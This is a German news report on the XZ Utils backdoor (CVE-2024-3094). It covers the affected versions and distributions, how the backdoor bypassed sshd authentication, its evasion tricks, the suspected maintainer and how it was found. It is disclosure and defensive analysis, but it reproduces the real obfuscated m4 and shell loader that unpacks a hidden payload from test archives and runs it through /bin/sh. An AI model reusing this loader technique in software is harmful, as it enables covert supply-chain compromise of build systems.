Im Paket XZ Utils, das die Bibliothek liblzma und Werkzeuge zur Arbeit mit komprimierten Daten im «.xz»-Format umfasst, wurde ein Backdoor (CVE-2024-3094) entdeckt, das es ermöglicht, Daten abzufangen und zu modifizieren, die von Anwendungen verarbeitet werden, die mit der Bibliothek liblzma verbunden sind. Das Hauptziel des Backdoors ist der OpenSSH-Server, der in einigen Distributionen mit der Bibliothek libsystemd verbunden ist, die wiederum liblzma nutzt. Die Verbindung von sshd mit der verwundbaren Bibliothek ermöglicht es Angreifern, ohne Authentifizierung auf den SSH-Server zuzugreifen.
Das Backdoor war in den offiziellen Versionen 5.6.0 und 5.6.1 vorhanden, die am 24. Februar und 9. März veröffentlicht wurden und es in einige Distributionen und Repositories geschafft haben, wie Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide und 40-beta, openSUSE factory und tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Allen Nutzern der Versionen xz 5.6.0 und 5.6.1 wird dringend geraten, auf die Version 5.4.6 zurückzukehren.
Zu den abmildernden Faktoren gehört, dass die Version von liblzma mit dem Backdoor nicht in stabile Versionen großer Distributionen aufgenommen wurde, jedoch openSUSE Tumbleweed und Fedora 40-beta betroffen sind. Arch Linux und Gentoo verwendeten die verwundbare Version von zx, sind jedoch nicht angreifbar, da sie den Patch für openssh zur Unterstützung von systemd-notify, der zu einer Verbindung von sshd mit liblzma führt, nicht anwenden. Das Backdoor betrifft nur x86_64-Systeme auf Basis des Linux-Kernels und der C-Bibliothek Glibc.
Der Aktivierungscode des Backdoors war in m4-Makros aus der Datei build-to-host.m4 versteckt, die von der Automake-Werkzeugkette beim Build verwendet wird. Während des Builds wurde durch verworrene obfuscierte Operationen basierend auf Archiven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), die zur Prüfung der Funktionsfähigkeit eingesetzt wurden, eine Objektdatei mit schädlichem Code erzeugt, die in die Bibliothek liblzma integriert wurde und die Logik einiger ihrer Funktionen veränderte. Die aktivierenden m4-Makros für das Backdoor waren in den tar-Archiven der Releases enthalten, fehlten jedoch im Git-Repository. Dabei waren schädliche Testarchive im Repository vorhanden, d.h. derjenige, der das Backdoor eingefügt hat, hatte Zugriff sowohl auf das Repository als auch auf den Prozess der Erstellung der Releases.
Bei der Verwendung von liblzma in Anwendungen konnten bösartige Änderungen verwendet werden, um Daten abzufangen oder zu modifizieren und um den Betrieb von sshd zu beeinflussen. Insbesondere ersetzte der bösartige Code die Funktion RSA_public_decrypt, um den Authentifizierungsprozess in sshd zu umgehen. Der Backdoor verfügte über Schutzmechanismen gegen Entdeckung und blieb bei gesetzten Umgebungsvariablen LANG und TERM (d.h. beim Starten des Prozesses in einem Terminal) sowie bei nicht gesetzten Umgebungsvariablen LD_DEBUG und LD_PROFILE verborgen. Außerdem wurde er nur beim Ausführen der ausführbaren Datei /usr/sbin/sshd aktiviert. In der Backdoor gab es auch Mittel zur Erkennung der Ausführung in Debug-Umgebungen.
Insbesondere wurden im Datei m4/build-to-host.m4 Konstruktionen verwendet gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
In der ersten Konstruktion fand der Befehl grep die Datei tests/files/bad-3-corrupt_lzma2.xz, bei deren Entpacken folgendes Skript erstellt wurde: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=«../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Wie die Angreifer Zugriff auf die Infrastruktur des Projekts xz erhalten konnten, ist noch unklar. Auch ist bisher unbekannt, wie viele Nutzer und Projekte infolge der Backdoor kompromittiert wurden. Der mutmaßliche Autor der Backdoor (JiaT75 — Jia Tan), der Archive mit schadhafter Software im Repository veröffentlichte, kommunizierte mit den Entwicklern von Fedora und schlug Pull-Requests für Debian vor, die den Übergang der Distributionen auf die xz-Version 5.6.0 betrafen, und er weckte keine Verdachtsmomente, da er in den letzten zwei Jahren an der Entwicklung von xz mitgewirkt hat und der zweithäufigste Entwickler hinsichtlich der eingereichten Änderungen ist. Neben dem Projekt xz war der mutmaßliche Autor der Backdoor auch an der Entwicklung der Pakete xz-java und xz-embedded beteiligt. Darüber hinaus wurde Jia Tan vor einigen Tagen in die Liste der Maintainer des Projekts XZ Embedded aufgenommen, das im Linux-Kernel verwendet wird.
Die schadhafte Änderung wurde nach der Analyse eines übermäßigen CPU-Verbrauchs und von Fehlern, die von valgrind beim SSH-Zugriff auf Systeme mit Debian sid ausgegeben wurden, festgestellt. Bemerkenswert ist, dass in die Version xz 5.6.1 Änderungen aufgenommen wurden, die der mutmaßliche Autor der Backdoor als Antwort auf Beschwerden über langsame Leistung und Ausfälle des sshd, die nach dem Upgrade auf die Version xz 5.6.0 mit der Backdoor auftraten, vorbereitet hatte. Darüber hinaus nahm Jia Tan im vergangenen Jahr Änderungen vor, die mit dem Prüfmodus "-fsanitize=address" inkompatibel sind, was zu dessen Deaktivierung beim Fuzzing-Testing führte.
Quelle: opennet.ru
